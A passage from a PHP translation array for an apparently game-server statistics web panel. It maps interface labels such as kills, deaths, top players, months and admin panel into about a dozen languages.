'CRO' => 'Bodovi', 'RS' => 'Poeni', 'BA' => 'Poeni', 'TR' => 'Puan' ), '_Rank' => array ( 'EN' => 'Rank', 'RU' => 'Звание', 'UA' => 'Звання', 'LT' => 'Rangas', 'DE' => 'Rang', 'CH' => '段位', 'CRO' => 'Rank', 'RS' => 'Rank', 'BA' => 'Rank', 'TR' => 'Rütbe' ), '_Kills' => array ( 'EN' => 'Kills', 'RU' => 'Убийства', 'UA' => 'Вбивства', 'LT' => 'Nužudymai', 'DE' => 'Tötet', 'CH' => '击杀', 'CRO' => 'Ubistva', 'RS' => 'Ubistva', 'BA' => 'Ubistva', 'TR' => 'Öldürme' ), '_Deaths' => array ( 'EN' => 'Deaths', 'RU' => 'Смерти', 'UA' => 'Смерті', 'LT' => 'Mirtys', 'DE' => 'Todesfälle', 'CH' => '死亡', 'CRO' => 'Smrti', 'RS' => 'Smrti', 'BA' => 'Smrti', 'TR' => 'Ölüm' ), '_Play_time' => array ( 'EN' => 'Playtime', 'BR' => 'Tempo de Jogo', 'RU' => 'Время игры', 'UA' => 'Час гри', 'LT' => 'Pražaistas Laikas', 'DE' => 'Spielzeit', 'CH' => '游玩时间', 'CRO' => 'Vrijeme igranja', 'RS' => 'Vreme igranja', 'BA' => 'Vrijeme igranja', 'TR' => 'Oynama Süresi' ), '_Win' => array ( 'EN' => 'Win', 'RU' => 'Победа', 'UA' => 'Перемога', 'LT' => 'Laimėjimai', 'DE' => 'Gewonnen', 'CH' => '获胜', 'CRO' => 'Pobjeda', 'RS' => 'Pobeda', 'BA' => 'Pobjeda', 'TR' => 'Kazanma' ), '_Wins' => array ( 'EN' => 'Wins', 'RU' => 'Победы', 'UA' => 'Перемога', 'LT' => 'Wins', 'DE' => 'Gewonnen', 'CH' => '获胜', 'CRO' => 'Pobjede', 'RS' => 'Pobede', 'BA' => 'Pobjede', 'TR' => 'Kazanmalar' ), '_Loss' => array ( 'EN' => 'Loss', 'RU' => 'Проигрыш', 'UA' => 'Програш', 'LT' => 'Pralaimėjimų', 'DE' => 'Verloren', 'CH' => '失败', 'CRO' => 'Poraz', 'RS' => 'Poraz', 'BA' => 'Poraz', 'TR' => 'Kayıp' ), '_Ratio_KD_short' => array ( 'EN' => 'K/D', 'RU' => 'К/Д', 'UA' => 'К/Д', 'LT' => 'N/M', 'DE' => 'K/D', 'CH' => 'K/D', 'CRO' => 'U/S', 'RS' => 'U/S', 'BA' => 'U/S', 'TR' => 'K/D' ), '_Top_players' => array ( 'EN' => 'Top Players', 'RU' => 'Рейтинг игроков', 'UA' => 'Рейтинг гравців', 'LT' => 'Žaidėjų reitingai', 'DE' => 'Top Spieler', 'CH' => '顶尖玩家', 'CRO' => 'Top Igrači', 'RS' => 'Top Igrači', 'BA' => 'Top Igrači', 'TR' => 'En İyi Oyuncular' ), '_Month_january' => array ( 'EN' => 'Jan.', 'RU' => 'Янв.', 'UA' => 'січ.', 'LT' => 'Sau.', 'DE' => 'Jan.', 'CH' => '1月.', 'CRO' => 'Sij.', 'RS' => 'Jan.', 'BA' => 'Jan.', 'TR' => 'Oca.' ), '_Month_february' => array ( 'EN' => 'Feb.', 'BR' => 'Fev.', 'RU' => 'Фев.', 'UA' => 'лют.', 'LT' => 'Vas.', 'DE' => 'Feb.', 'CH' => '2月.', 'CRO' => 'Velj.', 'RS' => 'Feb.', 'BA' => 'Feb.', 'TR' => 'Şub.' ), '_Month_march' => array ( 'EN' => 'Mar.', 'RU' => 'мар.', 'UA' => 'бер.', 'LT' => 'Kov.', 'DE' => 'Mär.', 'CH' => '3月.', 'CRO' => 'Ožu.', 'RS' => 'Mar.', 'BA' => 'Mar.', 'TR' => 'Mar.' ), '_Month_april' => array ( 'EN' => 'Apr.', 'BR' => 'Abr.', 'RU' => 'Апр.', 'UA' => 'квіт.', 'LT' => 'Bal.', 'DE' => 'Apr.', 'CH' => '4月.', 'CRO' => 'Tra.', 'RS' => 'Apr.', 'BA' => 'Apr.', 'TR' => 'Nis.' ), '_Month_may' => array ( 'EN' => 'May.', 'BR' => 'Mai.', 'RU' => 'Май,', 'UA' => 'Трав.', 'LT' => 'Geg.', 'DE' => 'Mai.', 'CH' => '5月.', 'CRO' => 'Svi.', 'RS' => 'Maj.', 'BA' => 'Maj.', 'TR' => 'May.' ), '_Month_june' => array ( 'EN' => 'Jun.', 'RU' => 'Июн.', 'UA' => 'Чер.', 'LT' => 'Bir.', 'DE' => 'Jun.', 'CH' => '6月.', 'CRO' => 'Lip.', 'RS' => 'Jun.', 'BA' => 'Jun.', 'TR' => 'Haz.' ), '_Month_july' => array ( 'EN' => 'Jul.', 'RU' => 'Июл.', 'UA' => 'Лип.', 'LT' => 'Lie.', 'DE' => 'Jul.', 'CH' => '7月.', 'CRO' => 'Srp.', 'RS' => 'Jul.', 'BA' => 'Jul.', 'TR' => 'Tem.' ), '_Month_august' => array ( 'EN' => 'Aug.', 'BR' => 'Ago.', 'RU' => 'Авг.', 'UA' => 'Сер.', 'LT' => 'Rūgp.', 'DE' => 'Aug.', 'CH' => '8月.', 'CRO' => 'Kol.', 'RS' => 'Aug.', 'BA' => 'Aug.', 'TR' => 'Ağu.' ), '_Month_september' => array ( 'EN' => 'Sep.', 'BR' => 'Set.', 'RU' => 'Сен.', 'UA' => 'Вер.', 'LT' => 'Rugs.', 'DE' => 'Sep.', 'CH' => '9月.', 'CRO' => 'Ruj.', 'RS' => 'Sep.', 'BA' => 'Sep.', 'TR' => 'Eyl.' ), '_Month_october' => array ( 'EN' => 'Oct.', 'BR' => 'Out.', 'RU' => 'Окт.', 'UA' => 'Жов.', 'LT' => 'Spa.', 'DE' => 'Okt.', 'CH' => '10月.', 'CRO' => 'Lis.', 'RS' => 'Okt.', 'BA' => 'Okt.', 'TR' => 'Eki.' ), '_Month_november' => array ( 'EN' => 'Nov.', 'RU' => 'Нояб.', 'UA' => 'Лис.', 'LT' => 'Lap.', 'DE' => 'Nov.', 'CH' => '11月.', 'CRO' => 'Stu.', 'RS' => 'Nov.', 'BA' => 'Nov.', 'TR' => 'Kas.' ), '_Month_december' => array ( 'EN' => 'Dec.', 'BR' => 'Dez.', 'RU' => 'Дек.', 'UA' => 'Груд.', 'LT' => 'Gruo.', 'DE' => 'Dez.', 'CH' => '12月.', 'CRO' => 'Pro.', 'RS' => 'Dec.', 'BA' => 'Dec.', 'TR' => 'Ara.' ), '_Second' => array ( 'EN' => 'Sec.', 'BR' => 'Seg.', 'RU' => 'Сек.', 'UA' => 'Сек.', 'LT' => 'Sek.', 'DE' => 'Sek.', 'CH' => '秒.', 'CRO' => 'Sek.', 'RS' => 'Sek.', 'BA' => 'Sek.', 'TR' => 'San.' ), '_Minute' => array ( 'EN' => 'Min.', 'RU' => 'Мин.', 'UA' => 'Хвил.', 'LT' => 'Min.', 'DE' => 'Min', 'CH' => '分.', 'CRO' => 'Min.', 'RS' => 'Min.', 'BA' => 'Min.', 'TR' => 'Dak.' ), '_Hour' => array ( 'EN' => 'h.', 'RU' => 'Ч.', 'UA' => 'г.', 'LT' => 'h.', 'DE' => 'S', 'CH' => '小时.', 'CRO' => 'h.', 'RS' => 'č.', 'BA' => 'h.', 'TR' => 'sat.' ), '_Day' => array ( 'EN' => 'Day', 'BR' => 'Dia', 'RU' => 'День', 'UA' => 'День', 'LT' => 'Diena', 'DE' => 'Tag', 'CH' => '天', 'CRO' => 'Dan', 'RS' => 'Dan', 'BA' => 'Dan', 'TR' => 'Gün' ), '_Days' => array ( 'EN' => 'Days', 'BR' => 'Dias', 'RU' => 'Дн.', 'UA' => 'Дн.', 'LT' => 'Dien.', 'DE' => 'Tage', 'CH' => '天', 'CH' => '天', 'CRO' => 'Dani', 'RS' => 'Dani', 'BA' => 'Dani', 'TR' => 'Günler' ), '_Week' => array ( 'EN' => 'Week', 'BR' => 'Semana', 'RU' => 'Неделя', 'UA' => 'Тиждень', 'LT' => 'Savaitė', 'DE' => 'Woche', 'CH' => '周', 'CH' => '天', 'CRO' => 'Tjedan', 'RS' => 'Sedmica', 'BA' => 'Sedmica', 'TR' => 'Hafta' ), '_Weeks' => array ( 'EN' => 'Weeks', 'BR' => 'Semanas', 'RU' => 'Недели', 'UA' => 'Тижні', 'LT' => 'Savaitės', 'DE' => 'Wochen', 'CH' => '周', 'CRO' => 'Tjedana', 'RS' => 'Sedmice', 'BA' => 'Sedmice', 'TR' => 'Haftalar' ), '_Month' => array ( 'EN' => 'Month', 'BR' => 'Mês', 'RU' => 'Мес.', 'UA' => 'Міс.', 'LT' => 'Mėnuo', 'DE' => 'Monat', 'CH' => '个月', 'CRO' => 'Mjesec', 'RS' => 'Mesec', 'BA' => 'Mjesec', 'TR' => 'Ay' ), '_Months' => array ( 'EN' => 'Months', 'BR' => 'Meses', 'RU' => 'Мес.', 'UA' => 'Міс.', 'LT' => 'Mėn.', 'DE' => 'Monate', 'CH' => '个月', 'CRO' => 'Mjeseci', 'RS' => 'Meseci', 'BA' => 'Mjeseci', 'TR' => 'Aylar' ), '_Log_in' => array ( 'EN' => 'Log in', 'BR' => 'Login', 'RU' => 'Войти', 'UA' => 'Увійти', 'LT' => 'Prisijungti', 'DE' => 'Einloggen', 'CH' => '登入', 'CRO' => 'Prijava', 'RS' => 'Prijava', 'BA' => 'Prijava', 'TR' => 'Giriş Yap' ), '_Logout' => array ( 'EN' => 'Log out', 'BR' => 'Logout', 'RU' => 'Выйти', 'UA' => 'Вийти', 'LT' => 'Atsijungti', 'DE' => 'Abmelden', 'CH' => '登出', 'CRO' => 'Odjava', 'RS' => 'Odjava', 'BA' => 'Odjava', 'TR' => 'Çıkış' ), '_Admin_panel' => array ( 'EN' => 'Admin Panel', 'BR' => 'Painel Administrativo', 'RU' => 'Панель администратора', 'UA' => 'Панель адміністратора', 'LT' => 'Admin Panel', 'DE' => 'Admin Panel', 'CH' => '管理员面板', 'CRO' => 'Admin Panel', 'RS' => 'Admin Panel', 'BA' => 'Admin Panel', 'TR' => 'Admin paneli' ), '_LK' => array ( 'EN' => 'Personal Area', 'BR' => 'Área Pessoal', 'RU' => 'Личный кабинет', 'UA' => 'Особистий кабінет', 'LT' => 'Asmeninė sąskaita', 'DE' => 'Persönliches Büro', 'CH' => '个人账号', 'CRO' => 'Osobno područje', 'RS' => 'Lični prostor', 'BA' => 'Osobno područje', 'TR' => 'Hesap' ), '_Vips' => array ( 'EN' => 'VIPS List', 'BR' => 'Lista de VIPS', 'RU' => 'Список вип игроков', 'UA' => 'Список віп гравців', 'CRO' => 'Vip lista', 'RS' => 'Vip lista', 'BA' => 'Vip lista', 'TR' => 'VIP Listesi' ), '_Banned' => array ( 'EN' => 'Banned', 'BR' => 'Banido', 'RU' => 'Забанен', 'UA' => 'Забанен', 'CRO' => 'Banovan', 'RS' => 'Banovan', 'BA' => 'Banovan', 'TR' => 'Banlanmış' ), '_Server_Information' => array ( 'EN' => 'Server Information', 'BR' => 'Informação do Servidor', 'RU' => 'Информация о сервере', 'UA' => 'Інформація про сервер', 'CRO' => 'Informacije o Serveru', 'RS' => 'Server Informacije', 'BA' => 'Informacije o Serveru', 'TR' => 'Sunucu Bilgisi' ), '_OpenCase' => array ( 'EN' => 'Open Case', 'RU' => 'Open Case', 'UA' => 'Open Case', 'LT' => 'Open Case', 'CRO' => 'Otvoren slučaj', 'RS' => 'Otvoren slučaj', 'BA' => 'Otvoren slučaj', 'TR' => 'Açık Durum' ), '_Console' => array ( 'EN' => 'Console', 'BR' => 'Console', 'RU' => 'Консоль', 'UA' => 'Консоль', 'LT' => 'Console', 'TR' => 'Konsol' ), '_SP' => array ( 'EN' => 'Shop', 'RU' => 'Магазин', 'UA' => 'Магазин', 'LT' => 'Parduotuvė', 'TR' => 'Mağaza' ), '_Unknown' => array ( 'EN' => 'Unknown', 'BR' => 'Desconhecido', 'RU' => 'Неизвестно', 'UA' => 'Неізвестноi', 'LT' => 'Nežinoma', 'TR' => 'Bilinmeyen' ), '_CountOnline' => array ( 'EN' => 'Count online', 'RU' => 'Общий онлайн', 'UA' => 'Загальний онлайн', 'LT' => 'Žaidėjų skaičius', 'TR' => 'Oyuncu sayısı' ), '_ModuleAdded' => array ( 'EN' => 'The module was added successfully', 'RU' => 'Был успешно добавлен модуль', 'UA' => 'Був успішно доданий модуль', 'LT' => 'Modulis sėkmingai pridėtas', 'TR' => 'Modül başarıyla eklendi' ), '_ModuleDeleted' => array ( 'EN' => 'The module was removed successfully', 'RU' => 'Был успешно удален модуль', 'UA' => 'Був успішно видалений модуль', 'LT' => 'Modulis sėkmingai pašalintas', 'TR' => 'Modül başarıyla kaldırıldı' ), '_TemplateAdded' => array ( 'EN' => 'The template was added successfully', 'RU' => 'Был успешно добавлен шаблон', 'UA' => 'Був успішно доданий шаблон', 'LT' => 'Šablonas sėkmingai pridėtas', 'TR' => 'Şablon başarıyla eklendi' ), '_TemplateDeleted' => array ( 'EN' => 'Template was deleted successfully', 'RU' => 'Был успешно удален шаблон', 'UA' => 'Був успішно видалений шаблон', 'LT' => 'Šablonas sėkmingai ištrintas', 'TR' => 'Şablon başarıyla silindi' ), // idk why '_Download' => array ( 'EN' => 'Download match demo', 'RU' => 'Скачать демо матча', 'UA' => 'Завантажити демо матчу', ) );